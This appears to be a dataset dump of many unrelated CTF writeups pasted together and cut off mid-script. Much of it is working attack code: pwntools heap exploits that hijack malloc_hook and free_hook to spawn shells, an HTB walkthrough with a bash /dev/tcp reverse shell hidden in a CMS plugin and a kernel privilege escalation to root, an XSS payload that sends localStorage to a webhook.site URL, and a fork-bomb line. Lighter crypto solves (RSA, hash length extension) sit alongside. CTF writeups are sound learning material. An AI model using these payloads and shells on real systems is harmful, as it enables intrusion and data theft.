text_chunk
stringlengths
151
703k
```from pwn import * #p = process('./chall')p = remote('139.59.252.147',17011) #pid = gdb.attach(p,gdbscript=''' # b * edit_profile # ''') def setup(): p.sendlineafter('username: ','aaa') def create(name_size,name,content): p.sendlineafter('#> ','1') p.sendlineafter('size: ',str(name_size)) p.sendlineafter('Name: ',str(name)) p.sendlineafter('Content: ',str(content)) def edit_username(username): p.sendlineafter('#> ','5') p.sendlineafter('username: ',str(username)) def edit(index, name, content): p.sendlineafter('#> ','3') p.sendlineafter('Index: ',str(index)) p.sendlineafter('Name: ',str(name)) p.sendlineafter('Content: ',str(content)) def feedback(size,content): p.sendlineafter('#> ','6') p.sendlineafter('size: ',str(size)) p.sendlineafter('Feedback: ',str(content)) def view(index): p.sendlineafter('#> ','2') p.sendlineafter('Index : ', str(index)) def exploit(): setup() create(2,'aa','xD') username_one = 'a' * 0x168 edit_username(username_one) ffs = 10 - 7 overwrite_top = 'a'*(700 - 8*ffs)+'\xff\xff\xff\xff\xff\xff\xff\xff' edit(0,overwrite_top,'aa') feedback(-1340+160,"") create(20,"\x00"*12 + p64(0x404008),'b') create(12,'A'*12,'') view(2) p.recvuntil('AAAAAAAAAAAA') leak = u64(p.recv(6).ljust(8,'\0')) print "leaked libc == flag: ", hex(leak) mhook_offset = 0x00000000003ebc30 strncpy_offset = 0x000000000009d980 one_gadget_1 = 0x4f3d5 one_gadget_2 = 0x4f432 one_gadget_3 = 0x10a41c libc_base = leak - strncpy_offset - 0x189a0 malloc_hook = libc_base + mhook_offset actual_1g = libc_base + one_gadget_2 print 'libc_base: '+hex(libc_base) print 'malloc_hook: '+hex(malloc_hook) print 'actual_1g: '+ hex(actual_1g) edit_username(username_one) edit('2',28*'A' + p64(actual_1g), '\x00'*100) # edit_username('mamatijeata') p.interactive() exploit()```
# Level ```# nmap -sCV -p- level.htbNmap scan report for level.htb (10.129.95.161)Host is up (0.40s latency).Not shown: 995 closed portsPORT STATE SERVICE VERSION80/tcp open ssl/http?8081/tcp open blackice-icecap?``` ### User flag Apache Flink on port 8081 is vulnerable to path traversal. Metasploit has a module for it. We can read the .env file in the webroot:```msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > run [*] Downloading /var/www/html/.env ...[+] Downloaded /var/www/html/.env (125 bytes)[+] File /var/www/html/.env saved in: /home/wil/.msf4/loot/20210727012858_default_10.129.173.192_apache.flink.job_666566.txt [*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed $ cat /home/wil/.msf4/loot/20210727012858_default_10.129.173.192_apache.flink.job_666566.txt DB_HOST=127.0.0.1DB_CONNECTION=mysqlDB_USERNAME=hcmsDB_PASSWORD=N>2sM4^R_j>g)cfeDB_DATABASE=hcmsHCMS_ADMIN_PREFIX=admin```These credentials are valid on port 80 on HorizontCMS:`admin:N>2sM4^R_j>g)cfe` ![Successfully login as admin](../img/horrizon_admin_login.png "Successfully login as admin") With admin privileges we can add a malicous plugin, here we used a modified [GoogleMaps](https://github.com/ttimot24/GoogleMaps) plugin with a reverse shell: ```bash$ cat messages.php & /dev/tcp/10.10.14.27/9000 0>&1'"); return [ 'successfully_added_location' => $shell,//'Location added succesfully!', 'successfully_deleted_location' => 'Location deleted succesfully!', 'successfully_set_center' => 'Location is successfully set as map center!'];```Install the plugin in the following menus: `Themes & Apps / Plugin / Upload new plugin`Install and activate itClick on `Google Maps (top menu) / Add location` / Set arbitrary content in fields then save. ```bash$ nc -nvlp 9000Listening on [0.0.0.0] (family 2, port 9000)Connection from 10.129.173.192 60640 received!bash: cannot set terminal process group (1038): Inappropriate ioctl for devicebash: no job control in this shellalbert@level:/var/www/html$albert@level:/home/albert$ cat user.txtHTB{0utd4t3d_cms_1s_n0_g00d}``` ### Root flag By shorty searching for privilege escalation paths, we can notice the operating system is vulnerable to two consecutive LPE (Local Privilege Escalation) vulnerabilities: * A double free vulnerability in Ubuntu shiftfs driver ([CVE-2021-3492](https://www.synacktiv.com/publications/exploitation-of-a-double-free-vulnerability-in-ubuntu-shiftfs-driver-cve-2021-3492.html)), found by our team mate VDehors and submitted to [Pwn2Own Vancouver 2021](https://twitter.com/thezdi/status/1380233495851712512).* Ubuntu OverlayFS LPE ([CVE-2021-3493](https://github.com/briskets/CVE-2021-3493)).```albert@level$ uname -aLinux level 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux albert@level$ cat /etc/os-release NAME="Ubuntu"VERSION="20.04.1 LTS (Focal Fossa)"ID=ubuntuID_LIKE=debianPRETTY_NAME="Ubuntu 20.04.1 LTS"VERSION_ID="20.04"[...]VERSION_CODENAME=focalUBUNTU_CODENAME=focal albert@level$ /sbin/sysctl -n 'kernel.unprivileged_userns_clone'1```As the [exploit](https://github.com/synacktiv/CVE-2021-3492/tree/master/exploit) written by Vdehors for his vulnerability CVE-2021-3492 was only targetting Linux kernel versions 5.8, he slightly modified his exploit in order to also support Linux kernel versions 5.4. In the initial exploit, the synchronization between kernel and userspace was done using a new feature of userfaultfd called write-protect. This feature is not present in kernel versions 5.4 so this part of the exploit has been replaced with the legacy userfaultfd page faults. To be able to preempt the kernel for each `copy_to_user()`, the userland structure is placed on two different pages and these pages are untouched to trigger the *userfaultfd* wakeup. **Note**: the exploit for Linux kernels 5.4 has been added by Vdehors on the [Github repository](https://github.com/synacktiv/CVE-2021-3492/blob/master/exploit/main_5.4.c). Finally, we can use his exploit to solve the box:```albert@level:/tmp/foo$ wget "10.10.14.65:8080/exploit" albert@level:/tmp/foo$ mkdir symbolsalbert@level:/tmp/foo/$ wget "10.10.14.65:8080/System.map-5.4.0-48-generic" -O symbols/System.map-5.4.0-48-genericalbert@level:/tmp/foo$ chmod +x exploit albert@level:/tmp/foo$ ./exploit ################################################# EXPLOIT SETUP #################################################Kernel version 5.4.0-48-generic0xffffffff81085460 set_memory_x0xffffffff810aba30 proc_doulongvec_minmax0xffffffff810cdb40 commit_creds0xffffffff810cdec0 prepare_kernel_cred0xffffffff819f7dc0 devinet_sysctl_forward0xffffffff82654040 debug_tablePinning on CPU 0Creating new USERNSConfiguring UID/GID map for user 1000/1000Creating new MOUNTNSMounting tmpfs on d1Mounting shiftfs on d2Creating shiftfs fileShiftfs FD : 4Remaped 1 page at 0x100000Remaped 1 page at 0x101000Allocated 2 pages at 0x100000 (ret:0x7f9a406d1740)Allocated 2 storage pages at 0x55874bb1b000 (ret:0)UFFD FD: 5Registering new mapping watch = 0Registering new mapping watch = 0################################################# PRIMITIVES STABILISATION #################################################Triggering the vulnerability...UFFD poll returnedWP Fault handling 1Recreate mapping for page 1Backuping page data 1Unmap page 1Remaped 1 page at 0x101000Registering new mapping watch = 0Unblock page 0[...]Entering NET namespace...Namespace NET fd = 6Setns returned 0Leaking payload address...Table is at ffff8ac12fa1c008Dumping global sysctl...global_sysctl_victim[0] = 0xffffffff87b5f238[...]global_sysctl_victim[7] = 0x0000000000000000Patching global sysctl...global_sysctl_victim[0] = 0xffffffff87b5f238[...]global_sysctl_victim[7] = 0x0000000000000000################################################# SYSTEM REPAIR #################################################Checking R/W primitivesCurrent header is 000000000000ffffRestored header is ffff8ac136194000Restoring global sysctl...################################################# SHELLCODE INJECTION #################################################Setting buffer to RWXWritting shellcode at ffff8ac12fa1cf08Writting prepare_kernel_cred at ffff8ac12fa1cef8Writting commit_cred at ffff8ac12fa1cef0Executing shellcode...################################################# YOU ARE ROOT #################################################root@level:/tmp/foo# iduid=0(root) gid=0(root) groups=0(root) root@level:/tmp/foo# cat /root/root.txt HTB{br0k3n_st0r4g3}```
# Hacky Holidays Writeups <h3>Phase 1</h3> Enumerate the Cloud Stolen Research #Credit to nmcpher2 and kartibok for there input! <h3>Phase 2</h3> Power Snacks Scorching by @nmcpher2 Cute Invoice #Credit to nmcpher2 for her input!<h3>Phase 3</h3> Under Construction How far can you go in a cloud Nobelium Impersonator
Simple stream cipher with known pt attack, full writeup: [https://ctf.rip/write-ups/crypto/rsa/reversing/rarctf-2021/#minigen](https://ctf.rip/write-ups/crypto/rsa/reversing/rarctf-2021/#minigen)
Unitialized read triggered by invalid buffer enum in BigBuffer for wreck type. Spray Ozymandias, and free them, and trigger the bug to leak tokens to be able to trigger Visage backdoor.
```#!/usr/bin/python#dont judge my python2 :)from pwn import * # p= process('./unintended')p =remote('193.57.159.27',52018) # pid = gdb.attach(p,gdbscript='''# b * menu# ''') #Helper functionsdef make_challenge(index,category,name,desc_len,desc,points): p.sendlineafter('> ','1') p.sendlineafter('number: ',str(index)) p.sendlineafter('category: ',category) p.sendlineafter('name: ',name) p.sendlineafter('length: ',str(desc_len)) p.sendlineafter('description: ',desc) p.sendlineafter('Points: ',str(points)) def patch_challenge(index,desc): p.sendlineafter('> ','2') p.sendlineafter('number: ',str(index)) p.sendafter('description: ',desc) def deploy_challenge(index): p.sendlineafter('> ','3') p.sendlineafter('number: ',str(index)) def take_down_challenge(index): p.sendlineafter('> ','4') p.sendlineafter('number: ',str(index)) def leak(): #Target for leak make_challenge(0,'AAAAAAAA','BBBBBBBB',2000,'CCCCCCC|',100) #Holder for top chunk not to consolidate make_challenge(1,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100) #Free target take_down_challenge(0) #Put the same chunk on the same place but only overwrite 8 bytes of fp to get printf to printout bp's address make_challenge(0,'AAAAAAAA','BBBBBBBB',2000,'CCCCCCC|',100) #View the leak deploy_challenge(0) #Parse the leak p.recvuntil('|') leak = u64(p.recv(6).ljust(8,'\0')) print hex(leak) return leak def code_redirect(where,what): #Target for off by 2 attack fill it up with data so we can attack strlen later make_challenge(2,'AAAAAAAA','BBBBBBBB',2000,'C'*2000,100) #Target for overlapping chunk attack make_challenge(3,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100) #Holder not to consolidate with top chunk make_challenge(5,'AAAAAAAA','BBBBBBBB',10,'CCCCCCC|',100) #Free target for overlap to put it in unsorted bin to trigger consolidation take_down_challenge(2) #Put half the size chunk in the same address as [2] and fill it up to overwrite bk and fp so there is no nullbytes #Important for strlen make_challenge(2,'web','before',1000,'X'*50,100) #Strlen will return size+2 (2 for the size in the header of the blob in unsorted bin since there are no \0 in body) #We use that to overwrite the size of this free chunk to make it larger(we will use that to overwrite freed chunks later) patch_challenge(2,'\0'*0x3e8 + '\xff\x05') #We allocate the descrption chunk large enough to get unsorted bin blob pointing just above [3] so next time we allocate a chunk we will be #Able to overwrite [3] fd pointer to redirect code #We also set the name of the chunk to /bin/sh\0 to free it later when we overwrite free_hook make_challenge(4,'/bin/sh\0','after',0x380,'D'*50,100) #B1 #Free the chunk to get it into Tcache bin, we will now allocate another chunk and overwrite this chunks fd pointer and trigger a chain reaction #That leads to forcing malloc to return arbitrary pointer take_down_challenge(3) #Allocate another chunk that overlaps with [3], now we are able to overwrite [3] fd pointer with whatever we want, i chose __free_hook make_challenge(7,'DDDDDDDD','EEEEEEEE',150,'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'+p64(where),100) #We malloc 2 more chunks and in the second one will be allocated onto _free_hook, so we write there make_challenge(8,'AAAAAAAA','BBBBBBBB',10,'C',100) make_challenge(9,'AAAAAAAA','BBBBBBBB',10,p64(what),100) #Remember the chunk before whos name we set to /bin/sh\0 ? well this is how we get a shell, we free that chunk after having overwritten #__free_hook with system take_down_challenge(4) def exploit(): libc_leak = leak() libc_base = libc_leak -0x3ebc0a free_hook = libc_base +0x0000000003ed8e8 one_gadget = libc_base +0x10a41c one_gadget1 = libc_base +0x4f432 one_gadget2 = libc_base +0x4f3d5 system = libc_base +0x00000000004f550 #Logging print 'libc base: ',hex(libc_base) print 'free hook: ',hex(free_hook) print 'one gadget: ',hex(one_gadget2) print 'system: ',hex(system) #we will write addr of system on __free_hook code_redirect(free_hook, system) if __name__ == '__main__': exploit() p.interactive() #rarctf{y0u_b3tt3r_h4v3_us3d_th3_int3nd3d...89406fae76}```
## Hyper Normal### Challenge> Being normal is hard these days because of Corona virus pandemic! ```python#!/usr/bin/env python3 import randomfrom flag import FLAG p = 8443 def transpose(x): result = [[x[j][i] for j in range(len(x))] for i in range(len(x[0]))] return result def vsum(u, v): assert len(u) == len(v) l, w = len(u), [] for i in range(l): w += [(u[i] + v[i]) % p] return w def sprod(a, u): w = [] for i in range(len(u)): w += [a*u[i] % p] return w def encrypt(msg): l = len(msg) hyper = [ord(m)*(i+1) for (m, i) in zip(list(msg), range(l))] V, W = [], [] for i in range(l): v = [0]*i + [hyper[i]] + [0]*(l - i - 1) V.append(v) random.shuffle(V) for _ in range(l): R, v = [random.randint(0, 126) for _ in range(l)], [0]*l for j in range(l): v = vsum(v, sprod(R[j], V[j])) W.append(v) random.shuffle(transpose(W)) return W enc = encrypt(FLAG)print(enc)``` ### Solution This challenge gives a strange encryption scheme. This encryption algorithm actually does this. For an input of length $l$, the algorithm first multiplies each character of the input by the corresponding index to obtain a vector $x$. Then the algorithm loops $l$ times, each time outputs a vector $v$. Each number in the vector $v$ is a random number between 0 and 126 multiplied by the corresponding number in the vector $x$. All these operations are performed modulo 8443. It is worth noting that `random.shuffle` on line 38 of the program actually has no effect on the output, because the `transpose` function returns a new object. Solving for the input is intuitive. For the i-th byte of the input, we simply iterate through all printable characters, multiply $i$ by those characters, and multiply 0 through 126 to get all possible results. If column $i$ of the program output happens to be a subset of the possible results generated by a character $c$, then the i-th byte of the input is likely to be $c$. ```python#!/usr/bin/env python3 from string import printable p = 8443 with open('output.txt', 'r') as f: enc = eval(f.read()) results = [] for i in range(len(enc[0])): tmp = [] for j in enc: tmp.append(j[i]) results.append(tmp) flag = ''for idx, result in enumerate(results): for c in printable: possibilities = [ord(c)*i*(idx+1) % p for i in range(127)] if all([i in possibilities for i in result]): flag += c breakprint(flag)``` ##### Flag`CCTF{H0w_f1Nd_th3_4lL_3I9EnV4Lu35_iN_FiN173_Fi3lD5!???}`
intended solution [here](https://github.com/IRS-Cybersec/ctfdump/tree/master/RaRCTF%202021/The%20Mound) unintended solution, reflections, etc. [here](https://152334h.github.io/writeup/2021/08/09/Getting-things-wrong-How-I-spent-24-hours-on-a-beginners-CTF-pwn.html)
This is my writeup for Gatekeeping, one of my favorite challenges from UIUCTF. It was also one of the tougher challenges in the competition, worth 417 out of 500 possible points by the end of the event with dynamic scoring. It is a miscellaneous/hardware challenge written in Verilog. The solution is to reverse the code and figure out the input bits that lead to the output being True. This can be done by parsing the file and building a tree. The values of each state, wire, and bit can then be determined using algorithms such as DFS or BFS. Click the link to see the code and a nice visualization is included.
Create a malicious page, which registers a user with the following payload in the username:1. Overwrite the body of secureenclave with `<iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>`. The additional div is necessary so that the check for site in the onmessage handler does not fail2. Overwrite the body of the iframe we just created with some code to exfiltrate the flag: `` Final HTML page:```<html><body onload="loginform.submit()"> <form id="loginform" method="POST" action="https://securestorage.rars.win/api/register"> <input type="text" class="form-control" name="user" placeholder="Username" value='5123<script>setTimeout(() => { storage = document.getElementById("secure_storage");storage.contentWindow.postMessage(["document.body.innerHTML", `<iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>`], storage.src);setTimeout(() => { storage.contentWindow.postMessage(["window.frame.contentWindow.document.body.innerHTML", "<img src=x onerror=\"fetch(`https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}`)\"/>"], storage.src); }, 500); }, 1000)</script>'> <input type="password" class="form-control" name="pass" placeholder="Password" value='123123'> <button type="submit" class="btn btn-primary mt-4">Login</button> </form></body></html>```
## Salt and Pepper### Challenge ```python#!/usr/bin/env python3 from hashlib import md5, sha1import sysfrom secret import salt, pepperfrom flag import flag assert len(salt) == len(pepper) == 19assert md5(salt).hexdigest() == '5f72c4360a2287bc269e0ccba6fc24ba'assert sha1(pepper).hexdigest() == '3e0d000a4b0bd712999d730bc331f400221008e0' def auth_check(salt, pepper, username, password, h): return sha1(pepper + password + md5(salt + username).hexdigest().encode('utf-8')).hexdigest() == h def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " welcome to hash killers battle, your mission is to login into the ", border) pr(border, " ultra secure authentication server with provided information!! ", border) pr(border*72) USERNAME = b'n3T4Dm1n' PASSWORD = b'P4s5W0rd' while True: pr("| Options: \n|\t[L]ogin to server \n|\t[Q]uit") ans = sc().lower() if ans == 'l': pr('| send your username, password as hex string separated with comma: ') inp = sc() try: inp_username, inp_password = [bytes.fromhex(s) for s in inp.split(',')] except: die('| your input is not valid, bye!!') pr('| send your authentication hash: ') inp_hash = sc() if USERNAME in inp_username and PASSWORD in inp_password: if auth_check(salt, pepper, inp_username, inp_password, inp_hash): die(f'| Congrats, you are master in hash killing, and it is the flag: {flag}') else: die('| your credential is not valid, Bye!!!') else: die('| Kidding me?! Bye!!!') elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` We send a username and password to the server, along with an authentication hash. These are all passed as parameters to the `auth_check` function, and the username contains`n3T4Dm1n`, the password contains `P4s5W0rd`, and the function returns true, we get the flag. ### Solution The `check_auth` function uses two secrets, `salt` and `pepper`, which we know the length of, however we don't know the value of. The `check_auth` function calculates the authentication hash using the following line ```pythonsha1(pepper + password + md5(salt + username).hexdigest().encode('utf-8')).hexdigest()``` Since these two secrets are hashed as well as our username and password, we cannot directly work out the authentication hash. However, we get given the MD5 hash of `salt`, and the SHA1 hash of `pepper`. Since both of the secret values are put as prefixes to our input, we can perform a hash length extension attack. [HashPump](https://github.com/bwall/HashPump) is a useful tool to do this, as all we need to do is provide the parameters and the tool does most of the work for us. One thing that needed to be changed however is that since we get the raw hashes, we don't have any data to give to the tool, and Hashpump complains when we do that. To get around this, I simply removed this check in the `main.cpp` file (line 255) and recompiled it. First, we will create a MD5 of (`salt` + `padding` + `n3T4Dm1n`) using the tool: ```hashpump -s "5f72c4360a2287bc269e0ccba6fc24ba" -d "" -a "n3T4Dm1n" -k 19``` giving an output of ```95623660d3d04c7680a52679e35f041c\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00n3T4Dm1n``` Then, we will create our authentication hash by creating a SHA1 of (`pepper` + `padding` + `P4s5W0rd` + `95623660d3d04c7680a52679e35f041c`) ```hashpump -s "3e0d000a4b0bd712999d730bc331f400221008e0" -d "" -a "P4s5W0rd95623660d3d04c7680a52679e35f041c" -k 19``` giving an output of ```83875efbe020ced3e2c5ecc908edc98481eba47f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98P4s5W0rd95623660d3d04c7680a52679e35f041c``` `83875efbe020ced3e2c5ecc908edc98481eba47f` should now be our authentication hash when we use `\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00n3T4Dm1n` as our username and `\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98P4s5W0rd` as our password (note that we remove the MD5 hash at the end as it gets added when the `auth_check` function is called). Submitting these to the server gives us the flag. ##### Flag `CCTF{Hunters_Killed_82%_More_Wolves_Than_Quota_Allowed_in_Wisconsin}`
# # BABYCRYPT ![](https://raw.githubusercontent.com/Pynard/writeups/main/2021/RARCTF/attachements/babycrypt/unknown.png) ## The problem Let's take a look to the encryption part **server.py**. So, first the script generates 2 prime numbers **p** & **q** of 256 bits and ensures that **q** is less than **p**. Then it returns, the public exponent **e**, the modulus **n**, the ciphertext **c**, and a hint, which is **n % (q-1)**. ```pythonfrom Crypto.Util.number import getPrime, bytes_to_long flag = bytes_to_long(open("/challenge/flag.txt", "rb").read()) def genkey(): e = 0x10001 p, q = getPrime(256), getPrime(256) if p <= q: p, q = q, p n = p * q pubkey = (e, n) privkey = (p, q) return pubkey, privkey def encrypt(m, pubkey): e, n = pubkey c = pow(m, e, n) return c pubkey, privkey = genkey()c = encrypt(flag, pubkey)hint = pubkey[1] % (privkey[1] - 1)print('pubkey:', pubkey)print('hint:', hint)print('c:', c)``` Let's get these numbers with the IP provided : ```nc 193.57.159.27 27855``` And we get : ```pythone = 65537n = 9205850565099355009233119992333308509057926987587516553442010262770434065524651458723071213422539739783091104957937112504373819793996033829929775503108243c = 7373290721518384012603108696715714033444163435512092120442505886297149465422635100860419886468382605598579995038885045596223387641682763096919583716818416 hint = 571338771748514167423682983583747408415015678000205027955504564266299803503``` The goal is to uncipher **c** to get the flag under the form``rarctf{something}`` ### The solution Let's note ``R = hint`` for more conveniency. We have : **n = p\*q** **p > q** **n % (q - 1) = R** In order to resolve the problem, we need to factorize **n**. So, we need to find **q** and **p**. Testing **n** in `factor.db` gives nothing. So we need do some math : ```pythonn mod (q-1) = Rp*q mod (q-1) = R[ p mod (q-1) * q mod (q-1) ] mod (q-1) =R[ p mod (q-1) * 1 ] mod (q-1) = R[ p mod (q-1) ] mod (q-1) = Rp mod (q-1) = R p ~ q and q < p => p = k*(q-1) + R where k = 1 because q ~ p=> p = q - 1 + R=> p - q = R - 1 or n = p * q=> n = q * (q + R -1)=> q^2 + (R-1) * q - n = 0 Find the positive root and we have q, next we have p, next we break it lul``` To find **q**, we need to solve the equation above. Let's use Sage to do this : ```pythonsage: e = 65537 sage: n = 9205850565099355009233119992333308509057926987587516553442010262770434065524651458723071213422539739783091104957937112504373819793996033829929775503108243sage: c = 7373290721518384012603108696715714033444163435512092120442505886297149465422635100860419886468382605598579995038885045596223387641682763096919583716818416 sage: R = 571338771748514167423682983583747408415015678000205027955504564266299803503 sage: var('t') sage: Pol = t^2+t*(R-1)-n sage: solve(Pol,t) [t == 95661879681818872731638606929439794975150932660862158767273961317066822333587, t == -96233218453567386899062289913023542383565948338862363795229465881333122137089] sage: q = 95661879681818872731638606929439794975150932660862158767273961317066822333587sage: p = n/qsage: p96233218453567386899062289913023542383565948338862363795229465881333122137089sage: p*q == n True # So we have p and q !sage: d = pow(e,-1,(p-1)*(q-1))sage: d7525291550178795884914566387678293738739343004806842307666643511411881291367347791355702688078467521251399949304045751083067891511306720238422997433554945sage: m = pow(c,d,n)sage: m21282889459489084011886583837365850378164449578188153850335772055863288361368436716339359416861416171924194634444635934246077740557666778378``` Converting **m** with **long_to_bytes()** function (from pycryptodome python package) and we obtain the flag: flag: `rarctf{g3n3r1c_m4th5_equ4t10n_th1ng_ch4ll3ng3_5a174f54e6}`
# IMAGINARY```DescriptionWhat's ImaginaryCTF without good old sqrt(-1)? Attachmentshttps://imaginaryctf.org/r/CE4D-imaginary.py nc chal.imaginaryctf.org 42015``` - File : [imaginary.py](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/imaginary/imaginary.py)```python#!/usr/bin/env python3 import randomfrom solve import solve banner = '''Welcome to the Imaginary challenge! I'm gonna give you 300 imaginary/complex number problems, and your job is to solve them all. Good luck! Sample input: (55+42i) + (12+5i) - (124+15i)Sample output: -57+32i Sample input: (23+32i) + (3+500i) - (11+44i)Sample output: 15+488i (NOTE: DO NOT USE eval() ON THE CHALLENGE OUTPUT. TREAT THIS IS UNTRUSTED INPUT. Every once in a while the challenge will attempt to forkbomb your system if you are using eval(), so watch out!)''' flag = open("flag.txt", "r").read()ops = ['+', '-'] print(banner) for i in range(300): o = random.randint(0,50) if o > 0: nums = [] chosen_ops = [] for n in range(random.randint(2, i+2)): nums.append([random.randint(0,50), random.randint(0,50)]) chosen_ops.append(random.choice(ops)) out = "" for op, num in zip(chosen_ops, nums): out += f"({num[0]}+{num[1]}i) {op} " out = out[:-3] print(out) ans = input("> ") if ans.strip() == solve(out).strip(): print("Correct!") else: print("That's incorrect. :(") exit() else: n = random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") payload = f"__import__['os'].system('{n}(){{ {n}|{n} & }};{{{n}}}')" print(payload) input("> ") print("Correct!") print("You did it! Here's your flag!")print(flag)``` Here we have to solve complex equations, but we have 1/50 chance to get a forkbomb so : **no eval** ```$ ncat chal.imaginaryctf.org 42015Welcome to the Imaginary challenge! I'm gonna give you 300 imaginary/complex number problems, and your job is to solve them all. Good luck! Sample input: (55+42i) + (12+5i) - (124+15i)Sample output: -57+32i Sample input: (23+32i) + (3+500i) - (11+44i)Sample output: 15+488i (NOTE: DO NOT USE eval() ON THE CHALLENGE OUTPUT. TREAT THIS IS UNTRUSTED INPUT. Every once in a while the challenge will attempt to forkbomb your system if you are using eval(), so watch out!) (45+34i) - (37+37i)> 8-3iCorrect!(27+29i) + (42+40i) + (6+31i)> ``` Here is a script that solve the equations : - Fichier : [exploit.py](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/imaginary/exploit.py)```pythonfrom pwn import * conn = remote('chal.imaginaryctf.org', 42015) conn.recvuntil(b'out!)\n\n') for _ in range(300): received = conn.recvuntil(b'\n')[:-1].decode('utf-8') if '__import__' in received: print(received) result = 'forkbomb\n' else: print(received,end=' = ') equation = received.split(' ') c = [] operands = [] for i,elt in enumerate(equation): if i%2 == 0: c += [complex(elt[1:-1].replace('i','j'))] else: operands += [elt] result = c[0] for i,op in enumerate(operands): if op == '+': result += c[i+1] elif op == '-': result -= c[i+1] result = (result.__str__()[1:-1].replace('j','i')+'\n') print(result) conn.send(result.encode()) received = conn.recvuntil(b'\n')[:-1].decode('utf-8') print(received) print(conn.recvall().decode())``` Here is the output :```$ python exploit.py[...]> Correct!(3+8i) - (32+37i) - (29+48i) - (37+9i) + (11+3i) + (0+4i) + (48+45i) - (19+35i) - (24+1i) + (48+12i) + (38+48i) + (14+9i) + (15+50i) + (44+27i) + (39+42i) - (39+43i) - (27+4i) + (29+48i) + (18+18i) + (9+13i) - (23+6i) - (24+27i) - (27+16i) + (22+20i) + (21+34i) - (12+45i) - (21+41i) - (42+33i) + (40+16i) - (20+37i) + (42+17i) + (9+24i) + (27+10i) - (48+38i) - (35+33i) + (7+46i) + (3+41i) + (35+34i) - (7+46i) - (47+27i) - (42+50i) + (20+43i) - (30+20i) + (36+37i) + (50+41i) - (12+41i) + (27+24i) + (15+35i) - (24+20i) + (26+4i) - (18+41i) + (16+37i) - (7+18i) + (15+5i) + (2+28i) - (1+15i) + (26+16i) + (31+11i) + (25+5i) - (27+37i) - (30+28i) + (5+13i) + (35+22i) + (37+43i) - (10+14i) + (17+6i) + (41+11i) + (24+1i) + (14+36i) - (29+17i) - (36+4i) - (30+48i) - (28+42i) + (33+22i) + (39+9i) - (12+8i) - (19+32i) - (26+46i) + (36+6i) + (41+20i) - (27+17i) + (26+28i) + (2+11i) - (32+21i) + (1+36i) + (38+48i) - (24+44i) - (33+11i) + (19+24i) - (15+4i) - (44+49i) + (38+12i) - (34+9i) + (1+13i) - (17+48i) + (40+22i) - (32+13i) + (48+47i) + (47+19i) - (29+13i) + (23+44i) - (6+30i) - (46+43i) + (49+8i) - (38+22i) + (35+10i) - (35+25i) - (29+29i) - (41+11i) + (16+32i) - (50+15i) - (8+23i) - (34+34i) - (36+7i) - (44+25i) - (27+10i) - (7+43i) - (44+25i) + (17+1i) + (19+22i) - (2+7i) - (34+34i) + (16+35i) + (50+10i) + (39+20i) - (1+24i) + (36+45i) - (25+23i) + (26+46i) + (45+10i) - (49+48i) - (25+36i) - (42+33i) + (14+30i) - (28+40i) - (26+40i) + (31+1i) - (44+40i) + (26+24i) - (7+38i) + (27+42i) + (15+42i) - (10+39i) + (42+14i) + (20+15i) - (50+49i) - (40+30i) - (36+3i) + (2+3i) - (47+27i) - (4+50i) + (49+45i) - (29+38i) = -135-374i > Correct![+] Receiving all data: Done (77B)[*] Closed connection to chal.imaginaryctf.org port 42015You did it! Here's your flag!ictf{n1c3_y0u_c4n_4dd_4nd_subtr4ct!_49fd21bc}``` flag : `ictf{n1c3_y0u_c4n_4dd_4nd_subtr4ct!_49fd21bc}`
# SPELLING_TEST```DescriptionI made a spelling test for you, but with a twist. There are several words in words.txt that are misspelled by one letter only. Find the misspelled words, fix them, and find the letter that I changed. Put the changed letters together, and you get the flag. Make sure to insert the "{}" into the flag where it meets the format. NOTE: the words are spelled in American English Attachmentshttps://imaginaryctf.org/r/CBC8-words.txt``` - File : [words.txt](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/spelling_test/words.txt) Here is the dictionary that i used : - File : [google-10000-english-no-swears.txt](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/spelling_test/google-10000-english-no-swears.txt) Here is the python code to solve the challenge : - File : [solve.py](https://github.com/Pynard/writeups/blob/main/2021/IMAGINARYCTF/attachements/spelling_test/solve.py)```pythonwith open('google-10000-english-no-swears.txt','r') as f: dictionary = f.read().split('\n')[:-1] with open('words.txt','r') as f: mispelled = f.read().split('\n')[:-1] response = ''for word in mispelled: char = '' match = 0 potential = '' for correct in dictionary: len_word = 